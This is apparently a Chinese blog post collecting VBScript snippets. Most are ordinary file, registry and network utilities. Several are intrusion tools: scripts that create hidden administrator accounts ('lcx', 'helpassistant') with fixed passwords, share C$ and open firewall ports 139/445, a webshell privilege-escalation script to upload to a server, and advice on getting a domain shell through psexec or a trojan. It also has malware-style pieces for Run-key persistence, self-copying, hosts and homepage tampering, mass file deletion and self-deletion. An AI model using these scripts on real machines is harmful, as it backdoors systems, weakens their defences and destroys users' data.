在网上查找资料的时候发现好多经典的vbs代码,收集起来也为了以后学习。 VBS脚本用途很多: 1. 计算 下面是我收集的VBS代码,大部分转自gangzi.org,以后还会更新。 VBS获取系统安装路径 先定义这个变量是获取系统安装路径的,然后我们用”&strWinDir&”调用这个变量。 set WshShell = WScript.CreateObject("WScript.Shell")strWinDir = WshShell.ExpandEnvironmentStrings("%WinDir%") VBS获取C:\Program Files路径 msgbox CreateObject("WScript.Shell").ExpandEnvironmentStrings("%ProgramFiles%") VBS获取C:\Program Files\Common Files路径 msgbox CreateObject("WScript.Shell").ExpandEnvironmentStrings("%CommonProgramFiles%") 给桌面添加网址快捷方式 set gangzi = WScript.CreateObject("WScript.Shell")strDesktop = gangzi.SpecialFolders("Desktop")set oShellLink = gangzi.CreateShortcut(strDesktop & "\Internet Explorer.lnk")oShellLink.TargetPath = "http://www.fendou.info"oShellLink.Description = "Internet Explorer"oShellLink.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0"oShellLink.Save 给收藏夹添加网址 Const ADMINISTRATIVE_TOOLS = 6Set objShell = CreateObject("Shell.Application")Set objFolder = objShell.Namespace(ADMINISTRATIVE_TOOLS)Set objFolderItem = objFolder.Self Set objShell = WScript.CreateObject("WScript.Shell")strDesktopFld = objFolderItem.PathSet objURLShortcut = objShell.CreateShortcut(strDesktopFld & "\奋斗Blog.url")objURLShortcut.TargetPath = "http://www.fendou.info/"objURLShortcut.Save 删除指定目录指定后缀文件 On Error Resume NextSet fso = CreateObject("Scripting.FileSystemObject")fso.DeleteFile "C:\*.vbs", TrueSet fso = Nothing VBS改主页 Set oShell = CreateObject("WScript.Shell")oShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.fendou.info" VBS加启动项 Set oShell=CreateObject("Wscript.Shell")oShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\cmd","cmd.exe" VBS复制自己 set copy1=createobject("scripting.filesystemobject")copy1.getfile(wscript.scriptfullname).copy("c:\huan.vbs") 复制自己到C盘的huan.vbs(复制本vbs目录下的game.exe文件到c盘的gangzi.exe) set copy1=createobject("scripting.filesystemobject")copy1.getfile("game.exe").copy("c:\gangzi.exe") VBS获取系统临时目录 Dim fsoSet fso = CreateObject("Scripting.FileSystemObject")Dim tempfolderConst TemporaryFolder = 2Set tempfolder = fso.GetSpecialFolder(TemporaryFolder)Wscript.Echo tempfolder 就算代码出错 依然继续执行 On Error Resume Next VBS打开网址 Set objShell = CreateObject("Wscript.Shell")objShell.Run("http://www.fendou.info/") VBS发送邮件 NameSpace = "http://schemas.microsoft.com/cdo/configuration/"Set Email = CreateObject("CDO.Message")Email.From = "发件@qq.com"Email.To = "收件@qq.com"Email.Subject = "Test sendmail.vbs"Email.Textbody = "OK!"Email.AddAttachment "C:\1.txt"With Email.Configuration.Fields.Item(NameSpace&"sendusing") = 2.Item(NameSpace&"smtpserver") = "smtp.邮件服务器.com".Item(NameSpace&"smtpserverport") = 25.Item(NameSpace&"smtpauthenticate") = 1.Item(NameSpace&"sendusername") = "发件人用户名".Item(NameSpace&"sendpassword") = "发件人密码".UpdateEnd WithEmail.Send VBS结束进程 strComputer = "."Set objWMIService = GetObject _ ("winmgmts:\\" & strComputer & "\root\cimv2")Set colProcessList = objWMIService.ExecQuery _ ("Select * from Win32_Process Where Name = 'Rar.exe'")For Each objProcess in colProcessList objProcess.Terminate()Next VBS隐藏打开网址(部分浏览器无法隐藏打开,而是直接打开,适合主流用户使用) createObject("wscript.shell").run "iexplore http://www.fendou.info/",0 兼容所有浏览器,使用IE的绝对路径+参数打开,无法用函数得到IE安装路径,只用函数得到了Program Files路径,应该比上面的方法好,但是两种方法都不是绝对的。 Set objws=WScript.CreateObject("wscript.shell")objws.Run """C:\Program Files\Internet Explorer\iexplore.exe""www.baidu.com",vbhide VBS遍历硬盘删除指定文件名 On Error Resume NextDim fPathstrComputer = "."Set objWMIService = GetObject _ ("winmgmts:\\" & strComputer & "\root\cimv2")Set colProcessList = objWMIService.ExecQuery _ ("Select * from Win32_Process Where Name = 'gangzi.exe'")For Each objProcess in colProcessList objProcess.Terminate()NextSet objWMIService = GetObject("winmgmts:" _& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")Set colDirs = objWMIService. _ExecQuery("Select * from Win32_Directory where name LIKE '%c:%' or name LIKE '%d:%' or name LIKE '%e:%' or name LIKE '%f:%' or name LIKE '%g:%' or name LIKE '%h:%' or name LIKE '%i:%'")Set objFSO = CreateObject("Scripting.FileSystemObject")For Each objDir in colDirsfPath = objDir.Name & "\gangzi.exe"objFSO.DeleteFile(fPath), TrueNext VBS获取网卡MAC地址 Dim mc,moSet mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")For Each mo In mcIf mo.IPEnabled=True ThenMsgBox "本机网卡MAC地址是: " & mo.MacAddressExit ForEnd IfNext VBS获取本机注册表主页地址 Set reg=WScript.CreateObject("WScript.Shell")startpage=reg.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page")MsgBox startpage VBS遍历所有磁盘的所有目录,找到所有.txt的文件,然后给所有txt文件最底部加一句话 On Error Resume NextSet fso = CreateObject("Scripting.FileSystemObject")Co = VbCrLf & "路过。。。"For Each i In fso.Drives If i.DriveType = 2 Then GF fso.GetFolder(i & "\") End IfNextSub GF(fol) Wh fol Dim i For Each i In fol.SubFolders GF i NextEnd SubSub Wh(fol) Dim i For Each i In fol.Files If LCase(fso.GetExtensionName(i)) = "shtml" Then fso.OpenTextFile(i,8,0).Write Co End If NextEnd Sub 获取计算机所有盘符 Set fso=CreateObject("scripting.filesystemobject")Set objdrives=fso.Drives '取得当前计算机的所有磁盘驱动器For Each objdrive In objdrives '遍历磁盘MsgBox objdriveNext VBS给本机所有磁盘根目录创建文件 On Error Resume NextSet fso=CreateObject("Scripting.FileSystemObject")Set gangzis=fso.Drives '取得当前计算机的所有磁盘驱动器For Each gangzi In gangzis '遍历磁盘Set TestFile=fso.CreateTextFile(""&gangzi&"\新建文件夹.vbs",Ture)TestFile.WriteLine("By www.gangzi.org")TestFile.CloseNext VBS遍历本机全盘找到所有123.exe,然后给他们改名321.exe set fs = CreateObject("Scripting.FileSystemObject")for each drive in fs.drivesfstraversal drive.rootfoldernextsub fstraversal(byval this)for each folder in this.subfoldersfstraversal foldernextset files = this.filesfor each file in filesif file.name = "123.exe" then file.name = "321.exe"nextend sub VBS写入代码到粘贴板(先说明一下,VBS写内容到粘贴板,网上千篇一律都是通过InternetExplorer.Application对象来实现,但是缺点是在默认浏览器为非IE中会弹出浏览器,所以费了很大的劲找到了这个代码来实现) str=“这里是你要复制到剪贴板的字符串”Set ws = wscript.createobject("wscript.shell")ws.run "mshta vbscript:clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+")(close)",0,true QQ自动发消息 On Error Resume Nextstr="我是笨蛋/qq"Set WshShell=WScript.CreateObject("WScript.Shell")WshShell.run "mshta vbscript:clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+")(close)",0WshShell.run "tencent://message/?Menu=yes&uin=20016964&Site=&Service=200&sigT=2a39fb276d15586e1114e71f7af38e195148b0369a16a40fdad564ce185f72e8de86db22c67ec3c1",0,trueWScript.Sleep 3000WshShell.SendKeys "^v"WshShell.SendKeys "%s" VBS隐藏文件 Set objFSO = CreateObject("Scripting.FileSystemObject")Set objFile = objFSO.GetFile("F:\软件大赛\show.txt")If objFile.Attributes = objFile.Attributes AND 2 Then objFile.Attributes = objFile.Attributes XOR 2End If VBS生成随机数(521是生成规则,不同的数字生成的规则不一样,可以用于其它用途) Randomize 521point=Array(Int(100*Rnd+1),Int(1000*Rnd+1),Int(10000*Rnd+1))msgbox join(point,"") VBS删除桌面IE图标(非快捷方式) Set oShell = CreateObject("WScript.Shell")oShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoInternetIcon",1,"REG_DWORD" VBS获取自身文件名 Set fso = CreateObject("Scripting.FileSystemObject")msgbox WScript.ScriptName VBS读取Unicode编码的文件 Set objFSO = CreateObject("Scripting.FileSystemObject")Set objFile = objFSO.OpenTextFile("gangzi.txt",1,False,-1)strText = objFile.ReadAllobjFile.CloseWscript.Echo strText VBS读取指定编码的文件(默认为uft-8)gangzi变量是要读取文件的路径 set stm2 =createobject("ADODB.Stream")stm2.Charset = "utf-8"stm2.Openstm2.LoadFromFile gangzireadfile = stm2.ReadTextMsgBox readfile VBS禁用组策略 Set oShell = CreateObject("WScript.Shell")oShell.RegWrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC\RestrictToPermittedSnapins",1,"REG_DWORD" VBS写指定编码的文件(默认为uft-8)gangzi变量是要读取文件的路径,gangzi2是内容变量 gangzi="1.txt"gangzi2="www.gangzi.org"Set Stm1 = CreateObject("ADODB.Stream")Stm1.Type = 2Stm1.OpenStm1.Charset = "UTF-8"Stm1.Position = Stm1.SizeStm1.WriteText gangzi2Stm1.SaveToFile gangzi,2Stm1.Closeset Stm1 = nothing VBS获取当前目录下所有文件夹名字(不包括子文件夹) Set fso=CreateObject("scripting.filesystemobject")Set f=fso.GetFolder(fso.GetAbsolutePathName("."))Set folders=f.SubFoldersFor Each fo In folders wsh.echo fo.NameNextSet folders=NothingSet f=nothingSet fso=nothing VBS获取指定目录下所有文件夹名字(包括子文件夹) Dim tSet fso=WScript.CreateObject("scripting.filesystemobject")Set fs=fso.GetFolder("d:\")WScript.Echo aa(fs)Function aa(n)Set f=n.subfoldersFor Each uu In fSet op=fso.GetFolder(uu.path)t=t & vbcrlf & op.pathCall aa(op)Nextaa=tEnd function VBS创建.URL文件(IconIndex参数不同的数字代表不同的图标,具体请参照SHELL32.dll里面的所有图标) set fso=createobject("scripting.filesystemobject")qidong=qidong&"[InternetShortcut]"&Chr(13)&Chr(10)qidong=qidong&"URL=http://www.fendou.info"&Chr(13)&Chr(10)qidong=qidong&"IconFile=C:\WINDOWS\system32\SHELL32.dll"&Chr(13)&Chr(10)qidong=qidong&"IconIndex=130"&Chr(13)&Chr(10)Set TestFile=fso.CreateTextFile("qq.url",Ture)TestFile.WriteLine(qidong)TestFile.Close VBS写hosts(没写判断,无论存不存在都追加底部) Set fs = CreateObject("Scripting.FileSystemObject")path = ""&fs.GetSpecialFolder(1)&"\drivers\etc\hosts"Set f = fs.OpenTextFile(path,8,TristateFalse)f.Write ""&vbcrlf&"127.0.0.1 www.g.cn"&vbcrlf&"127.0.0.1 g.cn"f.Close VBS读取出HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace 下面所有键的名字并循环输出 Const HKLM = &H80000002strPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace"Set oreg = GetObject("Winmgmts:\root\default:StdRegProv") oreg.EnumKey HKLM,strPath,arr For Each x In arr WScript.Echo x Next VBS创建txt文件 Dim fso,TestFileSet fso=CreateObject("Scripting.FileSystemObject")Set TestFile=fso.CreateTextFile("C:\hello.txt",Ture)TestFile.WriteLine("Hello,World!")TestFile.Close VBS创建文件夹 Dim fso,fldSet fso=CreateObject("Scripting.FileSystemObject")Set fld=fso.CreateFolder("C:\newFolder") VBS判断文件夹是否存在 Dim fso,fldSet fso=CreateObject("Scripting.FileSystemObject")If (fso.FolderExists("C:\newFolder")) Thenmsgbox("Folder exists.")elseset fld=fso.CreateFolder("C:\newFolder")End If VBS使用变量判断文件夹 Dim fso,flddrvName="C:\"fldName="newFolder"Set fso=CreateObject("Scripting.FileSystemObject")If (fso.FolderExists(drvName&fldName)) Thenmsgbox("Folder exists.")elseset fld=fso.CreateFolder(drvName&fldName)End If VBS加输入框 Dim fso,TestFile,fileName,drvName,fldNamedrvName=inputbox("Enter the drive to save to:","Drive letter")fldName=inputbox("Enter the folder name:","Folder name")fileName=inputbox("Enter the name of the file:","Filename")Set fso=CreateObject("Scripting.FileSystemObject")If(fso.FolderExists(drvName&fldName))Thenmsgbox("Folder exists")ElseSet fld=fso.CreateFolder(drvName&fldName)End IfSet TestFile=fso.CreateTextFile(drvName&fldName&"\"&fileName&".txt",True)TestFile.WriteLine("Hello,World!")TestFile.Close VBS检查是否有相同文件 Dim fso,TestFile,fileName,drvName,fldNamedrvName=inputbox("Enter the drive to save to:","Drive letter")fldName=inputbox("Enter the folder name:","Folder name")fileName=inputbox("Enter the name of the file:","Filename")Set fso=CreateObject("Scripting.FileSystemObject")If(fso.FolderExists(drvName&fldName))Thenmsgbox("Folder exists")ElseSet fld=fso.CreateFolder(drvName&fldName)End IfIf(fso.FileExists(drvName&fldName&"\"&fileName&".txt"))Thenmsgbox("File already exists.")ElseSet TestFile=fso.CreateTextFile(drvName&fldName&"\"&fileName&".txt",True)TestFile.WriteLine("Hello,World!")TestFile.CloseEnd If VBS改写、追加 文件 Dim fso,openFileSet fso=CreateObject("Scripting.FileSystemObject")Set openFile=fso.OpenTextFile("C:\test.txt",2,True) '1表示只读,2表示可写,8表示追加openFile.Write "Hello World!"openFile.Close VBS读取文件 ReadAll 读取全部 Dim fso,openFileSet fso=CreateObject("Scripting.FileSystemObject")Set openFile=fso.OpenTextFile("C:\test.txt",1,True)MsgBox(openFile.ReadAll) VBS读取文件 ReadLine 读取一行 Dim fso,openFileSet fso=CreateObject("Scripting.FileSystemObject")Set openFile=fso.OpenTextFile("C:\test.txt",1,True)MsgBox(openFile.ReadLine())MsgBox(openFile.ReadLine()) '如果读取行数超过文件的行数,就会出错 VBS读取文件 Read 读取n个字符 Dim fso,openFileSet fso=CreateObject("Scripting.FileSystemObject")Set openFile=fso.OpenTextFile("C:\test.txt",1,True)MsgBox(openFile.Read(2)) '如果超出了字符数,不会出错。 VBS删除文件 Dim fsoSet fso=CreateObject("Scripting.FileSystemObject")fso.DeleteFile("C:\test.txt") VBS删除文件夹 Dim fsoSet fso=CreateObject("Scripting.FileSystemObject")fso.DeleteFolder("C:\newFolder") '不管文件夹中有没有文件都一并删除 VBS连续创建文件 Dim fso,TestFileSet fso=CreateObject("Scripting.FileSystemObject")For i=1 To 10Set TestFile=fso.CreateTextFile("C:\hello"&i&".txt",Ture)TestFile.WriteLine("Hello,World!")TestFile.CloseNext VBS根据计算机名随机生成字符串 set ws=createobject("wscript.shell")set wenv=ws.environment("process")RDA=wenv("computername")Function UCharRand(n)For i=1 to nRandomize ASC(MID(RDA,1,1))temp = cint(25*Rnd)temp = temp +65UCharRand = UCharRand & chr(temp)NextEnd Functionmsgbox UCharRand(LEN(RDA)) VBS根据mac生成序列号 Function Encode(strPass) Dim i, theStr, strTmp For i = 1 To Len(strPass) strTmp = Asc(Mid(strPass, i, 1)) theStr = theStr & Abs(strTmp) Next strPass = theStr theStr = "" Do While Len(strPass) > 16 strPass = JoinCutStr(strPass) Loop For i = 1 To Len(strPass) strTmp = CInt(Mid(strPass, i, 1)) strTmp = IIf(strTmp > 6, Chr(strTmp + 60), strTmp) theStr = theStr & strTmp Next Encode = theStrEnd FunctionFunction JoinCutStr(str) Dim i, theStr For i = 1 To Len(str) If Len(str) - i = 0 Then Exit For theStr = theStr & Chr(CInt((Asc(Mid(str, i, 1)) + Asc(Mid(str, i +1, 1))) / 2)) i = i + 1 Next JoinCutStr = theStrEnd FunctionFunction IIf(var, val1, val2) If var = True Then IIf = val1 Else IIf = val2 End IfEnd FunctionSet mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")For Each mo In mcIf mo.IPEnabled=True ThentheStr = mo.MacAddressExit ForEnd IfNextRandomize Encode(theStr)rdnum=Int(10*Rnd+5)Function allRand(n) For i=1 to n Randomize Encode(theStr) temp = cint(25*Rnd) If temp mod 2 = 0 then temp = temp + 97 ElseIf temp < 9 then temp = temp + 48 Else temp = temp + 65 End If allRand = allRand & chr(temp) NextEnd Functionmsgbox allRand(rdnum) VBS自动连接adsl Dim WshSet Wsh = WScript.CreateObject("WScript.Shell")wsh.run "Rasdial 连接名字 账号 密码",false,1 VBS自动断开ADSL Dim WshSet Wsh = WScript.CreateObject("WScript.Shell")wsh.run "Rasdial /DISCONNECT",false,1 VBS每隔3秒自动更换IP并打开网址实例(值得一提的是,下面这个代码中每次打开的网址都是引用同一个IE窗口,也就是每次打开的是覆盖上次打开的窗口,如果需要每次打开的网址都是新窗口,直接使用run就可以了) Dim WshSet Wsh = WScript.CreateObject("WScript.Shell")Set oIE = CreateObject("InternetExplorer.Application")for i=1 to 5wsh.run "Rasdial /DISCONNECT",false,1wsh.run "Rasdial 连接名字 账号 密码",false,1oIE.Navigate "http://www.ip138.com/?"&i&""Call SynchronizeIEoIE.Visible = TruenextSub SynchronizeIEOn Error Resume NextDo While(oIE.Busy)WScript.Sleep 3000LoopEnd Sub 用VBS来加管理员帐号 set wsnetwork=CreateObject("WSCRIPT.NETWORK")os="WinNT://"&wsnetwork.ComputerNameSet ob=GetObject(os) '得到adsi接口,绑定Set oe=GetObject(os&"/Administrators,group") '属性,admin组Set od=ob.Create("user","lcx") '建立用户od.SetPassword "123456" '设置密码od.SetInfo '保存Set of=GetObject(os&"/lcx",user) '得到用户oe.add os&"/lcx" 这段代码如果保存为1.vbs,在cmd下运行,格式: cscript 1.vbs的话,会在当前系统加一个名字为lcx,密码为123456的管理员。当然,你可以用记事本来修改里边的变量lcx和123456,改成你喜欢的名字和密码值。 用vbs来列虚拟主机的物理目录 Set ObjService=GetObject("IIS://LocalHost/W3SVC")For Each obj3w In objserviceIf IsNumeric(obj3w.Name) ThensServerName=Obj3w.ServerCommentSet webSite = GetObject("IIS://Localhost/W3SVC/" & obj3w.Name & "/Root")ListAllWeb = ListAllWeb & obj3w.Name & String(25-Len(obj3w.Name)," ") & obj3w.ServerComment & "(" & webSite.Path & ")" & vbCrLfEnd IfNextWScript.Echo ListAllWebSet ObjService=NothingWScript.Quit 运行cscript 2.vbs后,就会详细列出IIS里的站点ID、描述、及物理目录,是不是代码少很多又方便呢? 用VBS快速找到内网域的主服务器 set obj=GetObject("LDAP://rootDSE")wscript.echo obj.servername 只用这两句代码就足够了,运行cscript 3.vbs,会有结果的。当然,无论是dos命令或vbs,你前提必须要在域用户的权限下。好比你得到了一个域用户的帐号密码,你可以用 psexec.exe -u -p cmd.exe这样的格式来得到域用户的shell,或你的木马本来就是与桌面交互的,登陆你木马shell的又是域用户,就可以直接运行这些命令了。 WebShell提权用的VBS代码 set wsh=createobject("wscript.shell") '创建一个wsh对象a=wsh.run ("cmd.exe /c cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps C:\WINNT\system32\inetsrv\httpext.dll C:\WINNT\system32\inetsrv\httpodbc.dll C:\WINNT\system32\inetsrv\ssinc.dll C:\WINNT\system32\msw3prt.dll C:\winnt\system32\inetsrv\asp.dll",0) '加入asp.dll到InProcessIsapiApps中 将其保存为vbs的后缀,再上传到服务上, VBS开启ipc服务和相关设置 Dim OperationRegistrySet OperationRegistry=WScript.CreateObject("WScript.Shell")OperationRegistry.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest",0Set wsh3=wscript.createobject("wscript.shell")wsh3.Run "net user helpassistant 123456",0,falsewsh3.Run "net user helpassistant /active",0,falsewsh3.Run "net localgroup administrators helpassistant /add",0,falsewsh3.Run "net start Lanmanworkstation /y",0,falsewsh3.Run "net start Lanmanserver /y",0,falsewsh3.Run "net start ipc$",0,Truewsh3.Run "net share c$=c:\",0,falsewsh3.Run "netsh firewall set notifications disable",0,Truewsh3.Run "netsh firewall set portopening TCP 139 enable",0,falsewsh3.Run "netsh firewall set portopening UDP 139 enable",0,falsewsh3.Run "netsh firewall set portopening TCP 445 enable",0,falsewsh3.Run "netsh firewall set portopening UDP 445 enable",0,false VBS时间判断代码 Digital=time hours=Hour(Digital) minutes=Minute(Digital) seconds=Second(Digital) if (hours<6) then dn="凌辰了,还没睡啊?" end if if (hours>=6) then dn="早上好!" end if if (hours>12) then dn="下午好!" end if if (hours>18) then dn="晚上好!" end if if (hours>22) then dn="不早了,夜深了,该睡觉了!" end if if (minutes<=9) then minutes="0" & minutes end if if (seconds<=9) then seconds="0" & seconds end ifctime=hours & ":" & minutes & ":" & seconds & " " & dnMsgbox ctime VBS注册表读写 Dim OperationRegistry , mynumSet OperationRegistry=WScript.CreateObject("WScript.Shell")mynum = 9mynum = OperationRegistry.RegRead("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest")MsgBox("before forceguest = "&mynum)OperationRegistry.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest",0mynum = OperationRegistry.RegRead("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest")MsgBox("after forceguest = "&mynum) VBS运行后删除自身代码 dim fso,fSet fso = CreateObject("Scripting.FileSystemObject")f = fso.DeleteFile(WScript.ScriptName)WScript.Echo( WScript.ScriptName) |
VBS脚本常用经典代码收集
最新推荐文章于 2022-12-20 17:28:56 发布